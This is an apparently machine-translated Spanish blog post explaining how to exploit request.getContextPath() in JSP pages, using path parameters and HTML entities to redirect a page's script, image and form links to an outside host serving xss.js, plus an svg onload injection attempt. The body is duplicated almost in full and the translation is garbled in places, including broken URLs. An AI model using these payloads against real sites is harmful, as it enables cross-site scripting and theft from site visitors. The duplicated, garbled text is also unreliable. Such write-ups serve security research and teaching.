Esta publicación trata sobre cómo manipular enlaces de recursos de elementos HTML (script, img, link, etc.) cuando se usa el método getContextPath para obtener la ruta base de los recursos. Con la capacidad de manipular enlaces, puede hacer XSS, Inyección CSS, etc.
Básicamente vamos a usar parámetros de ruta para manipular la ruta de contexto de modo que los enlaces apunten al dominio del atacante. Hay un buen blog que habla sobre problemas similares: https://superevr.com/blog/2011/three-semicolon-vulnerabilities
Sin embargo, esta publicación trata más sobre la manipulación de la ruta de contexto para secuestrar enlaces de recursos de elementos HTML . Así que echemos un vistazo a una página JSP simple ( test.jsp )
Esta página solo carga algunos recursos como script, image, css y listo. No toma ninguna entrada directa del usuario, pero está utilizando el valor devuelto por r equest.getContextPath () como ruta base al enlace de recursos.
¿Qué podemos hacer aquí?
Intentemos controlar la ruta base mediante el uso de parámetros de ruta:
http://127.0.0.1:8080/;pathParameter/contextPathExample/test.jsp
Como puede ver, podemos tener un poco de control sobre la ruta base (de los enlaces), pero no es realmente útil en este momento a menos que podamos manipular el dominio de los enlaces.
Ahora podría estar pensando si podríamos salir de comillas dobles e inyectar una nueva etiqueta como:
http://127.0.0.1:8080/;pathParameter"><svg onload = alert ()> / contextPathExample / test.jsp
Lamentablemente ganó no funciona porque los caracteres como <,>, "codifican URL como puede ver a continuación.
Entonces, ¿qué podemos hacer?
Como no podemos inyectar código HTML, nuestro objetivo ahora es encontrar una forma de manipular el dominio de los enlaces.
Todos saben que también podemos proporcionar URL de recursos sin protocolo, por ejemplo <img src = // example.com/1.jpeg> , aquí el navegador tomará el protocolo de la URL de la página y considerará example.com como dominio e intentará buscar el 1.jpeg del dominio example.com. Intentemos hacer lo mismo:
http://127.0.0.1:8080//;@exampl.com/contextPathExample/test.jsp
Parece que se eliminan barras diagonales adicionales. Si intentamos con barras hacia atrás, el servidor arroja un error. Entonces esta idea también falló.
Pero aquí hay algo interesante sobre el método getContextPath , no codifica en URL el carácter " & ". Por lo tanto, simplemente podemos codificar el carácter de barra diagonal en la entidad de caracteres HTML como & sol; y luego podemos manipular el dominio de enlaces como:
http: // 127.0.0.1:8080//rakeshmane.com/xss.js#/..;/..;/contextPathExample/test.jsp
Aquí src , action , etc. son los atributos y el navegador decodifica el valor (Entidades HTML) de los atributos automáticamente antes de buscar el enlace, por lo tanto & sol; se convierte en / y & num; se convierte en # y el enlace final se convierte en: //rakeshmane.com/xss.js. ¡Y bum! Secuestramos todos los enlaces de todos los elementos HTML como script, link, form, img, etc. Solo, por ejemplo, inyectamos el archivo "xss.js" en la fuente del elemento script y obtuvimos XSS fácil. Eso es
Básicamente vamos a usar parámetros de ruta para manipular la ruta de contexto de modo que los enlaces apunten al dominio del atacante. Hay un buen blog que habla sobre problemas similares: https://superevr.com/blog/2011/three-semicolon-vulnerabilities
Sin embargo, esta publicación trata más sobre la manipulación de la ruta de contexto para secuestrar enlaces de recursos de elementos HTML . Así que echemos un vistazo a una página JSP simple ( test.jsp )
![]() |
| Ref: https://www.roseindia.net/jsp/request-getcontextpath.shtml |
¿Qué podemos hacer aquí?
Intentemos controlar la ruta base mediante el uso de parámetros de ruta:
http://127.0.0.1:8080/;pathParameter/contextPathExample/test.jsp
Como puede ver, podemos tener un poco de control sobre la ruta base (de los enlaces), pero no es realmente útil en este momento a menos que podamos manipular el dominio de los enlaces.
Ahora podría estar pensando si podríamos salir de comillas dobles e inyectar una nueva etiqueta como:
http://127.0.0.1:8080/;pathParameter"><svg onload = alert ()> / contextPathExample / test.jsp
Lamentablemente ganó no funciona porque los caracteres como <,>, "codifican URL como puede ver a continuación.
Entonces, ¿qué podemos hacer?
Como no podemos inyectar código HTML, nuestro objetivo ahora es encontrar una forma de manipular el dominio de los enlaces.
Todos saben que también podemos proporcionar URL de recursos sin protocolo, por ejemplo <img src = // example.com/1.jpeg> , aquí el navegador tomará el protocolo de la URL de la página y considerará example.com como dominio e intentará buscar el 1.jpeg del dominio example.com. Intentemos hacer lo mismo:
http://127.0.0.1:8080//;@exampl.com/contextPathExample/test.jsp
Parece que se eliminan barras diagonales adicionales. Si intentamos con barras hacia atrás, el servidor arroja un error. Entonces esta idea también falló.
Pero aquí hay algo interesante sobre el método getContextPath , no codifica en URL el carácter " & ". Por lo tanto, simplemente podemos codificar el carácter de barra diagonal en la entidad de caracteres HTML como & sol; y luego podemos manipular el dominio de enlaces como:
http: // 127.0.0.1:8080//rakeshmane.com/xss.js#/..;/..;/contextPathExample/test.jsp
Aquí src , action , etc. son los atributos y el navegador decodifica el valor (Entidades HTML) de los atributos automáticamente antes de buscar el enlace, por lo tanto & sol; se convierte en / y & num; se convierte en # y el enlace final se convierte en: //rakeshmane.com/xss.js. ¡Y bum! Secuestramos todos los enlaces de todos los elementos HTML como script, link, form, img, etc. Solo, por ejemplo, inyectamos el archivo "xss.js" en la fuente del elemento script y obtuvimos XSS fácil. Eso es
Grupo de Telegram: https://t.me/hackingteamelrinconoscuro
Canal de Youtube: https://www.youtube.com/channel/UCXy8Lg28OuGuI5Z-2EWJaNA?view_as=subscriber
Canal Vimeo: https://vimeo.com/403136547?activityReferer=1
Red Social Twitter: https://twitter.com/HackingTeam1?s=09
Pagina Web: https://elrincondehackingteam.blogspot.com/
Aceptamos Donaciones: http://paypal.me/HackingTeamFull





Comentarios
Publicar un comentario
Todos sus comentarios seran bienvenidos, no se admiten insultos todo con el debido respeto que se merece cada persona, o de lo contrario seran eliminado cada comentario inrespetuoso hacia los demas. y autores del blog tambien puedes seguirnos en:
Facebook: https://www.facebook.com/groups/HackingTeamCyber/
Grupo de Telegram: https://t.me/TheHackForceOfficial
Canal de Youtube: https://www.youtube.com/channel/UCXy8Lg28OuGuI5Z-2EWJaNA?view_as=subscriber
Canal Vimeo: https://vimeo.com/403136547?activityReferer=1
Red Social Twitter: https://twitter.com/TheHackForce